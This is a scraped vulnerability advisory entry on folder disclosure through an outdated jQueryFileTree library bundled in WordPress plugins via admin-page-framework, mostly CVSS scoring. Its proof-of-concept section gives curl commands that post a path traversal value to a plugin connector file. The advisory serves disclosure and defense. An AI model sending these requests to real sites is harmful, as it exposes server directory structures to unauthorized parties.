Lucene search

K
wpvulndbWpvulndbWPVDB-ID:063A4A32-E813-4929-9833-B2CE197C94AE
HistoryMar 01, 2022 - 12:00 a.m.

Folders Disclosure via Outdated jQueryFileTree Library

2022-03-0100:00:00
wpscan.com
32

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

The plugins are using the admin-page-framework framework which is shipped with the outdated and no longer maintained library jQueryFileTree known to be affected by a path traversal issue, allowing unauthenticated attackers to disclose the folder structure of the web server

PoC

curl ‘https://example.com/wp-content/plugins///connectors/jqueryFileTreePlus.php’ -d “dir=…/…/” -e “xx” e.g: curl ‘https://example.com/wp-content/plugins/revision-manager-tmc/vendor/tmc/admin-page-framework/custom-field-types/path-custom-field-type/connectors/jQueryFileTreePlus.php’ -d “dir=…/…/” -e “xx”

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N